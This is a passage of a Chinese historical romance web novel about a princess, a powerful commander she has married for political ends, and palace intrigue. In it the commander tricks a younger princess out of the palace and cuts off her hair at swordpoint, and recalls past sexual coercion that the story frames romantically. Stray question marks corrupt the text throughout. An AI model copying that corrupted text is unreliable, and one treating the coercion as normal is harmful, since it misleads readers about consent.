其实她自然也是舍不得的,但当时想给公主或孩子送些什么?,却想不到送什么?,她有什么?是人家能瞧上的呢?最后只能做点小孩子的衣物,因为这东西用得快,一旦下雨衣服不干就没办法,所?以肯定不嫌多;既然是送给公主,自然也不嫌太好,宁肯自己?心疼,也不可让人觉得看不上吧。 司妤摇头:“给他才是浪费了,以后这样的东西你就自己?留着。”她说着将那一堆衣服亲自叠了放好,又?将外面?包着布也包好,双手捧起交给宫女,悉心交待:“去好好放着,注意别受了潮,也别忘了地方,等天热了拿出来洗了晒晒。” 宫女也是小心接过拿去了,王小桃看着心里?,觉得十分欢喜,可见?公主是没有嫌弃的。 随后司妤道:“你过来了就当还在太尉府,不用拘束。只是等元宵之后,我与你表叔都会比现在忙一些,定有顾及不上的。你若有什么?想要的、不习惯的,或是哪里?不舒服,而我们都没去问你,你就自己?来同我说一声,不要瞒着。” 王小桃连忙道:“是,我知道了。”说完又?道:“公主若有什么?吩咐,也只管让我去做。” 司妤轻笑道:“那自然没有,只是你表叔提起过,让我替你留意着有没有什么?好儿郎,好为你张罗婚事,你若有看得上的,也可和我说。” 王小桃没想到表叔还和公主说过这个?,一时间,她竟然觉得公主就像真正的婶婶一样,是自己?亲人长?辈。 但随即而来的就是窘迫,她连忙道:“不……我还……还没想嫁……” 司妤道:“你即放了宋之洵,就该在心里?也放下他,好好去看看其他合适的人,不必再惦念过往的,这世上的好男儿还很多。” 王小桃从来没想到有一天公主会和自己?如此?平静地提起宋之洵。 就好像,公主其实和宋之洵没什么?关系,对宋之洵也没什么?特殊的感情一样。 其实她后来一直是这样的感觉,公主心里?装的更多的是朝廷,而非儿女情长?。 她唯唯诺诺回?了两句,正好外面?来传,昌乐公主到了,她便赶紧告退,离开?了长?公主的院子。 今日心情其实很好,因为最初想着搬来这边她是紧张的,要去见?公主就更紧张了,但每一次和公主见?面?,都觉得又?轻松了点,公主其实是个?很好的人。 她之前生病在床上躺了好几天,现在身?体好了,便想转一转,特别是公主府,她没来过。 等转了一圈才发现这后院还一片荒凉,什么?都没种,甚至有片墙角,还长?着一堆杂草,杂草后面?是一片鲜亮的黄色野菊花。 她一时兴起,想摘一把花回?去插在瓶里?,自己?住的房里?有两只很好看的花瓶,却是空的。 蹲到野菊花丛中正摘着,便听见?了昌乐公主的声音。 “这儿还真荒凉,竟什么?也没有。” 长?公主道:“搬得仓促,连房子都是赶做好的,园子就没顾得上了。” “那等开?春了好好修一修。” “随便修一修吧,都是钱。” 这是人家姐妹在院子里?说些家常话,王小桃本以为两人很快会走过去,结果她们却坐在了附近的石桌旁,王小桃有些犹豫要不要这个?时候出来,但之前躲着没出来,这个?时候再突然蹿出来,实在很失礼,她犹豫半天,还是没动。 “今日叫你过来,是想问问你,可有看中的人?皇上上半年?会大婚,若是顺利,你也在今年?完婚吧。”司妤说。 司妤突然想起昌乐的婚事,是因为高盛和她提起王小桃。 她不免想起,昌乐终究是她的妹妹,之前因屈继先之事郁结在怀,不知现在怎么?样了。 果然,提起婚事,昌乐就闷闷的,半晌问:“哪里?都没有宋之洵的消息吗?” “没有,就算有,又?和你有什么?关系呢?”司妤语气?微严厉道:“长?庆县君是和他拜过堂的妻子,如今高盛也要替她另择佳婿,你就更不必想了。” “她活该。” 司妤问:“你说什么??” “没说什么?。”昌乐知道自己?要被责备,否认下来,随后道:“姐姐为什么?要将她接来你府上,你是长?公主,却和她一个?乡野村姑住一起,不是污贱了身?份吗?” 司妤的目光已然变了,变得审视而又?严厉,昌乐不由就低下头去:“我只是说说,这是姐姐的事,我也管不了。” “你自然管不了,你只能管好你自己?,她是朝廷亲封的县君,你不要再轻视,更不要再有什么?意图伤害她的行为。” “我知道,我又?没做什么?,也就之前为咸菜发了几句脾气?……”说了一半,昌乐才想起还有荷花池那一次,因为后面?没事,所?以她一时忘记了。 她解释:“荷花池那次也就是一时冲动,我现在不会了。” 司妤看她许久,最后叹一口气?:“算了,就当我今日闲着无事做,多此?一举吧。你若有看中的人,可以来告诉我;你若没有,那就由我指婚,到时候便由不得你了。至于什么?宋之洵,不要再提起,更不要去找人打听他,这是为你好。” 昌乐乖乖点头。 两人明显话不投机,没一会儿昌乐公主就退下了,长?公主也从石桌旁离开?。 王小桃脚都要蹲麻了,确认四下无人,才扶着墙站起来。 原来如此?。 还有什么?不明白的呢,那时候推她的是昌乐公主。 其实时间过去这么?久,她当时也没什么?事,这事在她心里?早就过去了,只是现在明确知道真相,不免觉得对不起长?公主。 她竟然在心里?冤枉公主这么?久。 还和表叔说了呢,搞了半天就是自己?瞎猜。 只是这么?说的话,宋之洵先和长?公主有婚约,又?和昌乐公主有什么?关系吗?然后又?答应了和自己?的婚事? 一时间,她觉得那个?翩翩如玉的公子可能……也许不如她想象得那么?伟岸。 50-60 第51章 第 51 章 下午高?盛回来, 第一时间去看刚搬来的王小桃,问她一切是否习惯。 小桃连称一切习惯,告诉他自己已经去见过长公?主了, 长公?主对?自己也好。 高?盛看向?她身旁的丫鬟翠儿?, 那是跟她一起从太尉府过来的,交待道:“若是县君受了什?么委屈, 她自己不说,你便来告诉我,若都不说,之后被我发现了, 拿你是问。” 翠儿?立刻承诺:“奴婢定会告知太尉!” 王小桃连忙道:“能有什?么委屈,没有委屈。” 高?盛又道:“你的衣食用度我也会单独拿钱, 你手上也有钱, 在这?里不用顾忌太多。” 王小桃看出他是对?自己不放心的, 又想到自己过来,屋里的陈设、送来的吃食和衣物都是最好的, 也许是表叔对?长公?主有误会才如此不放心,便认真道:“我今日才知, 之前是我错了,误会了长公?主,她真是很?好的人。” “误会什?么?”高?盛问。 王小桃将那时落入荷花池的事重提出来:“我当时怀疑是长公?主, 完全就因为?她和宋之洵的关系瞎猜的,加上长公?主那时态度清冷疏离, 不如昌乐公?主和气, 我就误会了, 其实是我错了,看人怎么能看表面?表叔也忘了这?事吧, 那事和长公?主无关。” 可那事,司妤自己是承认了的。 高?盛问她:“怎么突然又说不是她?是为?了替她说好话?” “不是不是,真的不是!”王小桃极力否认,“那表叔总该对?长公?主有些了解,在表叔心里,长公?主是那样的人吗?” 高?盛一时沉默。 当时司妤说,是因为?宋之洵而忌恨小桃,所以才会下杀手。 但现在他知道,她其实是个?非常能沉得住气的人,能忍,她对?宋之洵是否有感情他不知道,但对?宋之洵的利用是真的。 这?样的人,真的会去动?手推小桃吗? 她当时应该已经在筹谋刺杀他了,这?种时候杀小桃其实非常冒险,会影响她的计划,而且杀了小桃对?她也没半点好处——如果她不是想和宋之洵双宿双栖。 “所以推你的人是谁?”他问。 王小桃一愣,有些支吾道:“没谁,是我自己摔的。” 这?又回到之前的答案了,高?盛看向?她,王小桃着?急地再次保证:“真没谁,就是我自己摔的,总之表叔不要冤枉了长公?主。” 她就怕表叔又逼问,没想到表叔却突然笑了,好像没事一样:“好,我明白了,既然如此,那你就在这?儿?好好住着?,有什?么事和我说。” 他突然不追问了,王小桃还有些意外,但又不好问他“你怎么不问了呢?我说的是真的。”这?也显得太假了,她只能当他是真信了,连连点头。 两日后,昌乐在尚食局送来的包子里发现一张纸条,竟是宋之洵,约她当晚于北宫门外的树林旁梧桐树下见面。 她十分意外,没想到竟突然收到宋之洵的消息,却又惊喜,宋之洵竟真有消息了,还来约见他。 他见她做什?么?要带她走,还是要和她一起商议,如何撇掉与王小桃的婚事,和她在一起? 但是,她已被屈继先?强掳过,他应该知道了吧…… 就在昌乐又欣喜又伤心时,宫女提醒道:“宋公?子的字条怎会突然出现在这?里?这?是不是太奇怪了?” 昌乐立刻道:“会有什?么奇怪?他如果回来,能相信谁?姐姐,还是高?盛?” 昌乐心疼道:“他只能相信我,只能找我,所以才会冒险递这?张字条给我。” “就怕公?主夜里出去太危险,要不要禀告长公?主?”宫女小声?道。 昌乐冷眼看向?她,宫女立刻低下头去。 昌乐缓声?问:“姐姐向?你交待过什?么吗?” 整个?行宫的侍卫与宫女太监,都是由姐姐安排的,她之前的宫女随她一起被掳走了,分给了屈继先?的手下,早已不知踪影,如今身边的宫女是后来跟着?她的。 这?些人开口闭口就是长公?主,虽然姐姐并没有干涉过她什?么,也比之前宫中禁卫被高?盛把控让人放心得多,至少?姐姐不会害她,但这?种感觉还是不好。 此时宫女一直劝她,她便怀疑是姐姐交待过宫女要盯着?她。 听见这?话,宫女连忙道:“没有,长公?主日理万机,哪里有空交待奴婢?奴婢是真心替公?主着?想,怕公?主夜里一个?人出去遇到什?么歹人。” “只是宫门附近,没什?么。”昌乐道,暂且相信了宫女。 不相信又能如何呢,连皇上的婚事也是姐姐一手安排的。 更可况,她太想见宋之洵了,愿意冒这?个?险,她手上又没有兵权,又没什?么重要消息,谁会打?她的主意? 在接到字条的那一刻,昌乐就已经下定决心要去赴约了。 她从未夜里独自出过宫,因为?害怕,还是让身旁宫女陪着?自己,自己也扮作小宫女,拿上腰牌,小心翼翼混出了宫。 行宫附近的确有片树林,字条上说的那棵梧桐树也尤其显眼,几乎经过就会看到。 夜里外面一个?人也没有,她走了一路,快到树林,不由摸摸头上的发髻,微微叹一声?气。 为?了扮作宫女,也不能打?扮,将要十五,今日月亮尤其明亮,不知他看了,会不会觉得她不好看。 昌乐到梧桐树下,却见四周没人,不由轻声?道:“宋公?子?” 回答她的是一阵笑声?。 那笑声?是属于男人的,阳刚中带着?轻蔑,随后从树林里出来几个?人。 一起四个?人,全是身形高?大的男人,从黑暗里走出来的瞬间,对?她一个?弱女子来说就如同地狱里出来的魔鬼。 而她一个?人都不认识——就在她吓得腿软,无力地靠在那棵梧桐树上时,她认出了中间那一人,似乎正是发出笑声?的那人,那是高?盛。 这?一刻,她竟有一丝庆幸,好像发现来人是高?盛,比完全陌生的人更好一些,但……能好到哪里去呢? 这?时高?盛走到她面前,说话了:“想到过昌乐公?主大概不会很?难骗,但也没想到这?么好骗,怎么?来见宋之洵?” 昌乐紧紧扶着?宫女的胳膊,两人吓得缩在树边发抖,昌乐战战兢兢道:“高?……太尉,怎么会是你?宋之洵呢?” 连宫女也反应过来了,朝她道:“公?主,那纸条……定是假的……” 昌乐越发想往后躲,但后面是树,她犹豫一会儿?,求生的意志突然给了她勇气,松开宫女就往行宫方向?跑。 才跑出两步,一人便冲到她面前,手上拿着?刀,刀刃在月光下闪着?银光。 正是围上来的其中一人,满脸横肉,脸上还有一道疤,一看就是军中人。 那人拿刀指着?她,往前逼近一步,她只好后退,就这?么退着?退着?,一直退到了树林内。 昌乐又想起那晚被屈继先?带着?军士冲进宫中,直接将她扛走的情形,吓得哭起来。 高?盛道:“我问你,你和宋之洵是什?么关系?” 昌乐瑟缩着?,根本不敢不回答,也没余力去编谎话,或是思考他为?什?么要问这?些,只能老实回答:“去年冬至日宫宴,我们在宫中说了很?久的话,后来……他说他要一本书,寻不到,问宫中藏书阁中是否有,我去宫里找到了,抄了给他……他给我带了个?宫外的木雕…… “然后呢?” “然后……我和母后说招他为?驸马,姐姐却不同意,说王……太尉的侄女也要嫁他……再后来,我没能再见到他,他也娶了王县君。” “所以,你对?县君怀恨在心,在她进宫时,将她推入了荷花池?”高?盛问。 昌乐吓白了脸,说不出话来:“我……我……” 半天她才道:“我知道错了……再不敢了……” “就这?些了,还有什?么要坦白的吗?坦白了好说,若是让我问出来,那就难办了。”高?盛缓缓抬起手上的刀。 昌乐立刻道:“没有了没有了,姐姐已经训过我了,她告诫过我太尉不会放过我,我绝不敢再做什?么伤害县君的事……” “你记得就好。” 话音落,高?盛抬刀,一刀挥向?她的头。 昌乐惊得连呼吸都停了,愣在原地,随即便见到有什?么掉落在地上,月色中细一看,是她的发髻。 那黑黑的发髻,犹如人头一样躺在地上,她好似被扼住了喉咙,呼吸不了,也说不了话。 “再有下次,掉下的可就是公?主的人头了。”高?盛说完,放回刀,转身离去。他身边的几人也随他离去。 过了好久好久,昌乐才找回自己的身体与意识,才知道刚才发生了什?么,不由害怕得身体一软,瘫坐在了地上。 司妤第二日才知昌乐竟被骗出行宫,被高?盛削去了头发。 她当即就去了行宫,昌乐被吓得卧病在床,脸色苍白,语无伦次,头发所存无几,特别是头顶竟被削平,可以想见那刀是贴着?她头皮削过去的,别说是她,就是个?大男人都要被吓到。 医士说她是受惊过度,好好调理,不再受刺激,也许过段时日能好。 司妤心中又恨又气,本想责怪她怎会如此大意、如此愚蠢!哪里来的什?么宋之洵,宋之洵又怎么能有本事给她递消息,又为?什?么谁也不找,却给她递消息! 可是,妹妹已经被吓成这?样,她不能再责怪了,怕加重她病情。 如此拙劣的计谋,连高?盛这?个?设计之人都带了几人在身边以防万一,她竟然敢带个?宫女就夜里出去! 她满腔的愤怒与恨铁不成钢无法发泄,只能交待宫女好好照顾,又勒令宫女再有此事,一定拦住她向?自己禀报,随后才回去。 一路上都在想此事怎么办。 昨日高?盛的确半夜才回房,她没问,他也没说,她以为?……反正是别的什?么事,与她无关,却没想到他竟是去找昌乐了。 听宫女的描述,高?盛此举似乎就是为?了弄清王小桃落水的原由,此事明明已经过去了,她当初都揽下了,谁知高?盛竟又翻了出来。 但,能怎么办呢? 这?是私事,她不想弄到朝堂上,那就无法用宫规律法来惩治高?盛;但要用其他方式报复,却又难办,毕竟高?盛只是吓了吓昌乐,没做别的,难不成她也把小桃的头发割了? 这?不干小桃的事,本就是昌乐的错…… 忍着?一肚子怒火,司妤回公?主府,却见高?盛像没事人一样,坐在她书桌旁,翻着?上面几本书。 见她回来,他还问:“你看书这?样认真,还做了笔记。” 司妤过去将书从他手上夺下,看着?他道:“高?盛,我想此处不是你该坐的地方吧?” 高?盛抬眼看她,脸上原本的玩笑闲适之意消失了,略有不悦道:“怎么?有什?么机要公?文怕我看见么?”说着?,有意拔了拔另一旁放着?的一沓书信。 那原本没什?么好隐藏的,但司妤气得想拍桌子,厉声?道:“高?盛,你这?是什?么意思?我以为?我们约定好了,暂且合作。” “是啊,这?不是还联姻了么,我遵照公?主的意思做了驸马,搬进公?主府,却连坐什?么桌子凳子都要限制我?过分的是公?主吧?”他问。 司妤怒道:“你竟然倒打?一耙,说得出口!你为?臣子,却设计骗昌乐公?主出宫,对?其不敬,大胆削去她发头,让她受惊吓病倒在床,这?岂只是过分,简直就是大逆不道,这?与那屈继先?之流有什?么区别!” 高?盛笑了:“我做了什?么,你要拿我和屈继先?比?别恶心我,就你妹妹那样的,我还看不上呢!” “你……” 司妤气得急促呼吸,胸口都起伏起来,高?盛见她如此,又担心她影响到胎儿?,却也生怒,回道:“你还要我怎么放过她?要不是怕你生气,我削的就不是她的头发,而是她的人头!” 司妤想回话,却又不知怎么回。 照理来说,高?盛的确会直接杀了昌乐,当初她替昌乐揽下这?事,就是知道如此,如今他却还是知道了。 只是削了头发吓了吓,如此大费周张,对?他来说还是头一次。 “这?么来说,我还要感谢你?”司妤道:“县君落水一事,你早已发过火,县君也没事,事情已经过了,你竟又重新挑起来,还对?公?主不敬!” 她恨恨盯着?他,高?盛道:“她一次下手,你替她把罪顶了,她便觉得没事,那第二次呢?若有一天她再朝小桃下手,你愿意把她的命给我么?就这?么个?蠢货,你护得了她一时,护不了她一辈子,倒不如让她老实点。” 他竟骂昌乐是蠢货…… 司妤动?了动?唇,却完全不知该怎么回,最后不想理他,转身去前院书房了。 第52章 第 52 章 晚饭司妤也没回?来?吃, 就留高盛一人在房中?,一副不?想?见他的样子?。 他便在天色将黑时去了前院书房。 司妤正在书桌旁写什么,他推门而入, 她在书桌后瞥他一眼, 又低下头去做自己的。 高盛问:“还没消气?” 司妤面无表情回?道:“太尉若有事便说,无事还请先退下, 我没空。” “那你去房里忙吧,要不?然等会儿天黑了,你还要走那么远。”他竟然一副关心的样子?。 司妤不?为所动,回?道:“说起来?, 马上?元宵了,到时候就会忙起来?, 我与太尉的时间一定有冲突的时候, 为免互相打扰, 我以后就在这?儿休息了,去议事厅也方便, 太尉不?用等我。” 高盛走到她面前来?看向她:“怎么,想?和我分?房?冷落我?” 司妤不?太能习惯他用的这?些词, 再次努力去掰正两的关系,正色道:“我说了,怕互相打扰。” “第一, 我不?怕你打扰;第二,我也不?会打扰你;第三, 你不?让我碰也就罢了, 现在连睡也不?和我睡, 那我这?驸马不?是白做了?你当我死人吗,我不?干。” 高盛说得义?正辞严、斩钉截铁, 一副她欺人太甚,他丝毫不?会让步的样子?。 “你……”司妤抬起头,脸色涨红,半晌才道:“你不?要脸!” “你就很要脸了?说话不?算数。” “我怎么说话不?算数?”司妤问。 高盛道:“我们拜过天地,做了夫妻,你知道什么叫夫妻么?现在做夫妻才几天,你就要单独过,这?难道不?叫出尔反尔,说话不?算数?” 司妤无言。 他继续道:“实话告诉你,我同?意做什么驸马,一是为了儿子?,二是为了女人,到现在你还一天也没让我碰过,我都忍了,你还想?让我再退一步?” 司妤很不?习惯把这?种事放到台面上?讲,但此刻不?得不?争辩:“那是因为怀孕,又不?是我……” 说了一半她才意识到,为什么他们就在扯这?个了呢? 为什么她要和他扯这?种事? 她恼怒地闭了嘴,低头道:“你走,我不?想?和你说话,我稍后回?去就是了。” 高盛语气温和下来?:“和我一起回?去吧,天黑了路不?好走,还冷,摔了怎么办?” 她不?出声。 他继续道:“那宋之洵之前可是你的未婚夫,结果?你那妹妹却心心念念要嫁他,就这?么个妹妹,你还护着?你不?觉得她又蠢又自私么?” 司妤当然知道昌乐不?聪明,也确实怨过她,但是…… “昌乐公主如何,轮不?到你来?说!”她回?道。 “怎么轮不?到我来?说,虽然提起来?就糟心,但我也算她姐夫。” “有你这?样做姐夫的吗?”她问。 高盛叹一声气:“小桃落水一事,到此为止,只要你那妹妹不?再动歪心思,我就不?会再动她,这?是看在你的面子?上?。” 说完,他温声道:“回?去吧,就这?一次,以后我肯定不?会了。” 司妤真的被他说动了。 他在哄她。 而昌乐……虽然她生气,但他的话她无法反驳,事实她也很担心昌乐再做出什么事来?弄得不?可收拾,高盛虽然可恶,但经他这?么一吓,以昌乐的胆,再不?敢生事了。 他再拉她起身,她也就半推半就放下了笔,随他一起从书房出去了。 回?房躺上?床,他又挨了过来?,看着她不?说话。 司妤心里没那么气了,但还闷闷的,看他一眼,翻了个身,将背朝向她。 他又从身后抱过来?。 其?实今日他如此有耐心一遍遍哄她,也是因为,事情是昌乐公主做的,那就不?是她做的,她当初承认,只是替昌乐公主顶罪。 为什么呢,因为知道他不?会放过昌乐,确实,如果?当初知道是昌乐公主做的,他会直接了断她。 他忍不?住,生起几分?怜惜和愧疚。 以及,还有几分?愉悦。 他从她身后探头看着她道:“所以,你和宋之洵是什么关系?” 司妤长吸一口气,一边去掀他一边回?:“你问这?个做什么?” 他紧紧抱着她,她掀不?动:“我问这?个,不?是理所当然么?” 司妤推不?开他,只能放弃,不?耐烦道:“没什么关系。” 高盛想?,多半是没什么关系,因为他让宋之洵发过誓。 “那梅棠呢?你和他……睡过没?” 司妤开始恼怒了,“你总问这些做什么?” “不?做什么,你们要是睡过我就去杀了他。” “高盛,你有病是不是?你别没事找事!”司妤转过来?怒声道。 “所以是睡过还是没睡过?” 司妤被他气得都不?想?在这?床上?躺了,烦道:“没有,人家是正人君子?,你别以为所有人跟和你一样!” 她在发脾气,他却笑呵呵的,又凑过来?抱她:“所以,你就和我睡过是不?是?我是你唯一的男人。” 司妤很想?说不?是,她不?想?看见他这?得意的样子?,但显然说不?是,他就要追问是谁,又会扬言去杀了对方,徒生是非,她只能闭嘴。 她耐住性子?道:“高盛,我不?想?和你讨论这?个问题。我知道对你来?说,我是你的战利品,我曾做过你的禁脔,这?是你最耀眼的军功,但于我,却是永生铭记的耻辱,如今我们谁也不?想?再起兵戈,为了维持眼下的局面,我只望你能别提起来?,行吗?” 高盛静静看着她,而后认真道:“禁脔是什么意思?” 司妤不?想?理他了,再次转过头去。 他将她掰回?来?,“但我也没碰过别的女人,为什么不?说我也是你的禁脔呢?” 司妤不?回?话,一副拒绝和他说话的样子?。 他终于不?再强行掰她过来?了,自己平躺下来?,枕着胳膊看向头顶。 他想?起,第一次,他确实没让她好过。 她对他来?说,就是一块鲜嫩的肉,是他征战那么多年?的回?馈,是这?糟糕的天下和朝廷欠他的,给他的奖励。 所以他一次次品尝、享用,尽管她将嘴唇咬破,她泪流满面,但他看见的,只有那美好的胴|体。 至于后来?…… 好吧,他承认,她就是他的战利品,那什么禁脔,应该也是对的。 过了很久,他再次转过身去,轻轻将她抱住,和她道:“是我不?对,那个时候我太混蛋,以后不?会了,以后你是我老婆。” 司妤很清楚他们成婚算怎么回?事,也清楚终有一天他们要争个胜负,更清楚站在权力场上?,绝不?能心软,但是…… 他竟然会向她认错。 她没出声,没做任何回?应,他也没再拉着她问一些有的没的,就这?样抱着她睡去。 再过两天,雪化了,天晴了,突然就暖和起来?,逢元宵,宫中?办元宵盛宴。 太后宴请各位大臣的夫人,司妤与皇上?一同?出席,宴请百官。 傍晚,高盛与司妤一同?从公主府坐马车去往行宫。 高盛在车上?想?起一件事,问她:“你待会儿可不?能喝酒。” 司妤倒是忘了这?事。 她现在已然有四个月身孕了,其?实有一点?显怀,但冬天衣服厚,还看不?太出来?,所以朝中?并不?知道。 虽然早晚也是捂不?住,但能捂一天是一天,她还没准备在成婚十来?天的时候公布自己已经有四个月身孕了,所以今天也只能瞒着。 但这?种日子?,不?可能一口酒也不?沾。 “到时候,我就说身体不?适,只喝一两口。”她说。 “一两口?”高盛对这?个答案不?满意。 “只是抿一两口。”司妤说。 高盛想?了想?:“让他们单独给你备个酒壶,里面放水。” “那叫什么样子?。” “就这?么定了,待会儿你就去吩咐。”高盛说。 其?实他恨不?能自己去安排,但迁都后司妤将宫中?侍卫与宫女太监都大肆清点?了一番,这?种在宴会中?备酒水器皿的一定都是她信得过的人,那些人不?会听他的。 司妤没回?他。 到了宴中?,司妤与皇上?并排而坐,太监给两人倒酒,坐在下面的高盛发现她一杯一杯,并没有少喝。 而皇上?呢,大概是饮酒不?多,一口入肚,还微皱一下眉头。 高盛不?信皇上?有这?演技,所以这?酒是真的? 他坐在酒案边道:“不?知皇上?与公主,饮的什么酒?” 皇上?十分?惧怕高盛,他突然这?么问,让皇上?觉得他是不?是要干什么,紧张得不?知怎么回?答,司妤则盯着他道:“自然是与太尉一样的酒。” 高盛直接吩咐:“那赵公公来?与我倒一杯?” 司妤看向他,脸上?微有不?悦。 赵良是宫中?的人,照理只有皇上?和她才能如此使唤,高盛却又如此放纵,丝毫不?顾及君臣之礼。 可再过分?的事他都做过,为这?点?事和他争执也不?值得。 她只好朝赵良道:“去吧。” 赵良到了高盛面前,恭敬道:“太尉。”说着,为他倒酒,手背朝后挡着其?余人的目光,大拇指当着他的面轻轻扭动了一下酒壶盖子?。 高盛不?知这?是什么意思,待赵良替他倒好酒离去,他端起酒杯闻一下,发现酒味淡了很多,再一喝,这?杯分?明是水,那点?酒味是他上?一杯酒残留的。 所以是……那酒壶上?有机关,想?倒酒就倒酒,想?倒水就倒水。 她把戏可真多。 第53章 第 53 章 宴会到中间, 司妤先行离席,去往太后宫中,也见一见各位夫人。 夫人们都知道, 太后虽地位尊贵, 但太后不问?政事,掌权的是长公主, 所?以?听?闻长公主来,纷纷敛裙跪下,一派肃穆,极显恭敬。 司妤在太后身旁坐下, 温声道:“诸位夫人请起,今日?元宵, 尽情宴饮玩乐, 不必拘礼。” 夫人们道谢起身, 她看到了坐在前面的王小桃。 照理?说,王小桃为西凉军家眷, 应与各位西凉军将领的夫人女儿熟悉一些,但她有县君封号, 又?是高盛的侄女,所?以?她的座次靠前,这样一来, 就与几位王妃和朝中重臣的家眷坐在了一起。 本以?为她会和这些夫人没?话说,没?想到旁边却有位夫人主动和她攀谈, 两人偶有说笑, 竟还处得不错的样子。 司妤问?身后的宫女:“坐在王县君身旁的是何人?” 宫女轻声回答:“回长公主, 那是严相的夫人,太原张氏。” “原来是严夫人。”司妤确实没?想到竟是严淮的夫人。太原张氏也是望族, 一般这样的出身会看不上小桃,没?想到这位张氏与小桃交谈起来却十分热络,难道是借此?替严淮亲近高盛吗? 司妤并没?有在太后宫中多待,坐了一会儿就离去了,本想直接回公主府,但走到宫中,见花好月圆,灯火辉煌,便停下了,决定在园中走一走。 新年开始,她是准备打屈继先的,按高盛的说法,打了屈继先,收复豫州,则北方就大平定了,占据半壁江山后,局势便稳定下来,对于长江以?南,则可以?徐徐图之。 如果一切顺利,这是这两年就可以?看见的局面,真的很?好,很?好…… 走了几步,她突然停了下来,手捧向自己的肚子。 如缨连忙问?:“公主,怎么了?” 她仍捧着肚子没?说话,过一会儿才道:“……他好像,踢我了。” 那是一种很?奇妙的感觉,好端端的,肚子里?突然有动静。 如缨笑道:“这是小公子会动了,听?说后面会动得越来越多。” 司妤轻轻笑了笑,待那阵动弹过去,又?继续往前走。 迎面却见到了严崇文。 严崇文上前来,朝她道:“见过长公主。” 司妤令他起身,问?:“守锋为何不在宴会中,独自在外?” 严崇文回道:“臣不爱饮酒,所?以?出来走走。” 司妤不再?多说,径直往前走,严崇文却没?退下,而是追上她道:“公主独自在园中漫步,是否有心事?” 这是一句以?严崇文的身份来说,没?资格问?的话。 司妤看了他一眼,没?回话,其中的不悦神态并未掩饰,严崇文低下头?去。 司妤往前走了两步,随后问?:“你此?番来京,可有意留在京中任职?” 这态度又?温和了一点,严崇文正色回道:“的确有此?意,臣听?闻禁中西门校尉有缺,臣愿担任。” 城门校尉这职位便是把守宫门的,一般的确都是由?君主心腹或是王公大臣亲属担任,算是有头?有脸的富贵差使?,但封赏会少很?多,司妤之前还以?为他会更愿意外出征战,因为他有这样的能?力。 “此?事,待我先问?问?御史?府的意思。”她说完便离去了。 严崇文在后面道:“是,恭送公主。” 待司妤远去,严崇文才直起身。 公主表现得端庄而威严,好似完全对他不感兴趣的样子。 既然不能?你情我愿,那就只能?强取了? 严崇文的目光紧紧攫获着远方司妤的身影,含着虽隐忍、却志在必得的气势。 司妤与高盛一起回的公主府。 在马车上,高盛问?她:“你和严……”他忘了严崇文的字,便道:“和严淮的儿子在花园里?说什么呢?” 语气里?颇有些质问?的意味。 司妤十分难理?解他这种理?直气壮,但他张口闭口他们是夫妻,让她无法应对。 她一动不动,面色如常,淡声道:“没?说什么。” 高盛瞧着她,也很?久不说话。 她这样的容貌,很?难让男人自持,而偏偏她还真利用过自己的容貌去对付男人,比如宋之洵。 他知道她想拉拢严崇文和严淮,就怕她故技重施,跑去用美貌引|诱严崇文。 直到回公主府,到了床上,他才将马车上憋着的那股气释放出来,和她道:“公主,我们成婚后,你不找男宠,不和人鬼混,这事似乎没?提前约好,但应该是默认的吧?” “你什么意思?”她问?。 “没?什么意思,就是告诉你,别?想给我戴绿帽子。”高盛说。 司妤觉得他偶尔真是无理取闹,但同时又?佩服他这种勇气,他能?十分理?直气壮地对她提要求,就好像他们不是联盟的关系,而是真正的夫妻。 她原本以?为他们是联盟,关于私事,无从?要求对方。 她还想说,那他也要承诺不许进青楼妓馆,不许收纳别?的女人呢。 但这话她说不出来,至今为止,她十分坚定地守着这条界线,维持着这份疏离。 见她不说话,高盛追问?:“如何,沉默是什么意思?” “沉默就是别?以?小人之心度君子之腹,我对你说的那些事没?兴趣。”她懒懒道。 “这是你说的,若被我发现,饶不了你们。”他威胁。 司妤彻底不想理?他了。 次日?新年第一次大朝会,除了各项政事的部署,长公主与太尉都提出了攻打屈继先的计划。 屈继先为安朝烈义子,助纣为虐意欲废帝另立,劫掳后宫妃嫔与公主,在京城烧杀抢掠带走不少财物,之后又?趁机进犯,累累罪行,罄竹难书,剿灭他绝无异议。 但薛迈自请出战。 临汾王附议,谢御史?也附议,这都是司妤这边的人,目的也很?明显,就是要扶持薛迈,慢慢削弱高盛的力量。 但司妤并不敢如此?。屈继先之所?以?能?成为安朝烈手下得力干将,自然是因其骁勇善战,她确实有心重用薛迈,却也担心此?战失利。 最后司妤驳回了薛迈,仍令高盛出战。 至于何时出战则要再?议,至少粮草辎重须先准备好。 新年伊始,军中也有许多事,高盛连续好几日?都待在太尉府。 战前准备还在做着,李风华某日?午后过来了,同高盛道:“太尉,有一事相告。” “公思讲。”高盛说。 李风华道:“昨日?,御史?府的张御史?同我闲谈,打探起县君的婚事,问?她与宋家婚事怎么了结的,又?问?太尉是否有替其另觅夫家的意思。” 高盛很?快明白,问?他:“有人要同小桃结亲?我记得他两个儿子不都还小吗?” “不是他,他是替严夫人询问?。”李风华说。 高盛想了起来,这张御史?是严淮的妻弟,但严淮只有一个儿子。 “严崇文?” “正是,他今年二十三,之前订过亲,之后因女方病重,主动退了婚,随后他再?未议亲,蹉跎至今。严夫人有心替其求娶县君。” “我看严淮不是心向皇家么?”高盛问?。 李风华道:“严相的确心向皇家,但他当初能?做尚书令,全靠太尉一手提拔,他何尝不心向太尉?再?说,昔日?怀英太子与明帝争夺皇位,张家二子,一人投靠怀英太子,一人投靠还是皇子的明帝,之后怀英太子事败,张家长子赴死,张家却保全下来,多方下注,是张家的传统,严夫人此?举也是两边都想靠着。” 高盛祖先并不在世家贵族之列,不知道严夫人娘家还有这段往事,这样听?来,的确如此?。 严淮渐渐倾向于皇家,严崇文再?娶小桃,这样无论他与司妤谁胜谁负,都能?保全张家。 “公思以?为呢?”他问?。 李风华坦言道:“属下以?为此?事为大喜,严崇文在湖州颇有英名,曾带五百人大破长生教,堪称一员悍将,若能?投靠太尉,为太尉所?用,对太尉来说便是如虎添翼。且他出身严家,饱读诗书,与那些士人也熟识,做了太尉的侄女婿,也能?为太尉拉拢人心。” 高盛也知道这婚事对他来说不错,但他不知道严崇文的人怎么样。 “此?事暂且放下,我问?问?小桃的意思。”高盛说。 李风华没?想到这事还要经过王小桃,欲言又?止,最后终究是忍住了,回道:“是。” 高盛回公主府,便又?问?起严崇文那天和她在说什么。 司妤正在批着奏疏,有些不耐烦道:“那么一点事,怎么又?问?起来,说了什么我都不记得了。” 